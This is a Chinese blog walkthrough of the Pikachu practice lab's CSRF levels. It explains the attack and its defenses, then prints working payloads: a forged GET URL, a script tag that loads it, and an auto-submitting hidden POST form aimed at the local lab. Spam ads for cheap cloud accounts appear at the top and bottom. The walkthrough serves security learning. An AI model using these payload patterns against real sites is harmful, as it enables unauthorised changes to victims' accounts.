pikachu靶场练习——CSRF详解_csrf靶场练习

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

CSRF概述

1、原理

当黑客发现某网站存在CSRF漏洞并且构造攻击参数将payload制作成网页用户访问存在CSRF漏洞的网站并且登录到后台获取cookie此时黑客发送带有payload的网址给用户用户同时打开黑客所发来的网址执行了payload则造成了一次CSRF攻击

2、形成原因

主要是漏洞网站没有经过二次验证用户在浏览漏洞网站的时候同时点击了hack制造的payload

3、防御

1当用户发送重要的请求时需要输入原始密码
2设置随机 Token最有效
3检验 referer来源同源策略请求时判断请求链接是否为当前管理员正在使用的页面
4设置验证码
5限制请求方式只能为 POST

一、CSRF(get)

首先根据提示输入账号密码点击登录
在这里插入图片描述
点击修改个人信息
在这里插入图片描述
用burpsuite抓包点击submit看到get提交的数据包/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=1asf&add=nba+lakes&email=1111111%40qq.com&submit=submit HTTP/1.1
在这里插入图片描述
修改用户信息的时候是不带任何不可预测的认证信息的也就是说可以直接伪造提交的数据包改下里面的信息
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=1asf&add=nba+lakes&email=2222222%40qq.com&submit=submit
在这里插入图片描述
提交发现修改成功
在这里插入图片描述

扩展

我们可以进行伪造服务器点击在自己的服务器上创建index.html其作用是被攻击者访问到这个html代码时会请求这个地址。
修改一下数据包里面的东西index.html的内容为

<script src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18888888&add=nba+lakes&email=333333%40qq.com&submit=submit"></script>

假装被攻击者访问自己的服务器会触发这个代码f12查看网络。
在这里插入图片描述
访问这个地址发现信息被修改成功。在这里插入图片描述

简单看下代码

24~27行先检查用户是否登录如果用户已登录就不再做任何验证29-42行直接将前端传来的数据保存到数据库。
在这里插入图片描述

二、CSRF(post)

再次登录这次用lucy的
在这里插入图片描述
点击修改
在这里插入图片描述
进行抓包从下图的请求报文来看和前一关一样没有不可预测的认证信息可以被利用。
但是post下的URL不再显示修改参数所以无法再使用上述办法即通过URL来伪造请求进行修改。
在这里插入图片描述
这里需要攻击者自己写个利用该漏洞的html文件放在自己服务器上并发给被攻击者点击这个html文件的链接。
比如针对这一关将包含如下index.html代码的文件放入攻击者的服务器

<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="boy" />
                <input type="hidden" name="phonenum" value="111111" />
                <input type="hidden" name="add" value="usa" />
                <input type="hidden" name="email" value="1111111@pikachu.com" />
                <input type="hidden" name="submit" value="submit" />
	            <input id="submit" type="submit" value="Submit request" style="display:none"/>                    <!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html> 

被攻击者点击攻击者发送的服务器链接之后就可以成功修改信息
在这里插入图片描述

三、CSRF Token

再次输入账号密码这次用lili的
在这里插入图片描述
点击修改信息
在这里插入图片描述
进行抓包查看数据包出现了token
在这里插入图片描述
多试几次发现修改信息之前的token和修改信息之后的token是不一样的必须token对得上才能执行这个数据包。
当用自己的服务器构造数据包它的token不一样所以修改就不会成功。
从上面可以看到的是token随机字符串用来验证数据包的唯一性由于数据包的唯一性也就导致csrf漏洞几乎不能被利用。
这关其实是是防御CSRF的常用方法的一个演示。

查看代码

发现修改用户信息时服务器会比较url中的token字段和session中的token字段如果相同才能修改用户信息。
修改完用户信息之后会用set_token()函数生成新的token将其返回到html表单中并隐藏起来以便下次用户修改信息时代入url。
在这里插入图片描述
在/inc/function.php里有set_token()函数
在这里插入图片描述

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6